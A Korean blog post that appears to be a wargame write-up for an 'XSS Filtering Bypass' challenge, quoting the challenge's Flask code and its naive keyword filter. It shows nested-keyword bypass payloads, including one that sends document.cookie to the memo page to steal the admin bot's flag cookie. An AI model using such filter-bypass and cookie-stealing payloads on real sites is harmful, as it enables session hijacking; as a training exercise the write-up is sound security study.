XSS Filtering Bypass
작성자 - 현우는 5살XSS Filtering Bypass
XSS Filtering ByPass
- 문제 설명
- 문제 풀이
- 문제 요약
문제 설명
- 3개의 페이지와 각 페이지의 기능
vuln(xss)page
단순하게 이미지를 출력하는 페이지로 보입니다.
또한 GET방식을 사용하는것을 보아, param저 변수가 취약한 파라미터가 될 수 있을것이라고 생각됩니다.
memo
memo를 출력하는 페이지로 보입니다.
이것 또한GET방식을 사용하는것을 보아 시도해보는것도 좋을거 같습니다.
flag
입력한값에 제출하면 저 url대로 동작하는것이라고 생각합니다. POST 방식을 사용합니다.
app.py 코드의 주요 함수 확인
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
check_xss 함수는 param를 url인코딩을 진행하고, vuln페이지에 보내는 url를 작성하여 쿠키와 함께, readurl에 전달하는 형식입니다.
def xss_filter(text):
_filter = ["script", "on", "javascript:"]
for f in _filter:
if f in text.lower():
text = text.replace(f, "")
return text
xss_filter는 "script", "on","javascript"를 필터링하고 또한, lower()함수를 사용하여 소문자까지 필터링하는것을 확인할 수 있습니다.
def vuln():
param = request.args.get("param", "")
param = xss_filter(param)
return param
xss_filter함수를 호출 후에 그 결과값을 반환하는 함수 입니다.
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
flag함수는 GET방식은 flag.html을 랜더링하여 반환하지만 POST 형식으로 진행할경우 check_xss함수의 반환값으로 동작하는것을 확인할 수 있습니다.
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
받아온 값을 memo_text에 저장하고 랜더링 후에 반환하는 것을 보입니다.
문제 풀이
- 의심되는거 시도
vuln페이지의 시도해봤는데 xss_filter에 의해서 필터링되는것을 확인할 수 있습니다.
필터링 우회
<sscriptcript>alert(1)</sscriptcript>
script를 우회하여 진행하였다.
성공적으로 동작하는것을 확인할 수 있습니다.
이걸 이용해서 flag값을 얻어와야합니다.
이 문제는 플래그를 읽기 위해서는 가상의 관리자의 쿠키를 받아서 값을 출력해야합니다.
워게임 문제에서 값을 출력하는 페이지는 memo이기 때문에, memo 페이지를 이용해볼려 합니다.
memo파라미터에 123을 입력하면 123이 출력됩니다.
페이로드를 작성해서 이 페이지에서 바로 출력할려고 시도 하였으나,
잘 동작하지 않습니다.
아마 다른 페이지에서 진행해야할거 같습니다.
위에 flag함수에서 GET방식으로 통신을 진행할 경우, POST 방식으로 동작해야 코드가 정상적으로 동작함을 알 수 있습니다.
페이지 중 POST 방식으로 동작하는 페이지는 flag 페이지이기 때문에
flag페이지에서 페이로드를 전달합니다.
페이로드
<sscriptcript>locatioonn.href="/memo?memo="+document.cookie;</sscriptcript>
flag함수는 정상적으로 동작하는것을 확인할 수 있다.
정상적으로flag가 나오는것을 확인할 수 있습니다.
문제 요약
'Season 1 > 워게임' 카테고리의 다른 글
[DreamHack] Flying Chars (0) | 2024.07.31 |
---|---|
[pwnable] shell_basic 문제풀이 (0) | 2024.05.26 |
[CryptoHack] MISC(Armory) (0) | 2024.03.31 |
[dreamhack] ROT128 문제풀이 (0) | 2024.01.31 |
[CryptoHack] MISC(Bit by Bit) (0) | 2024.01.31 |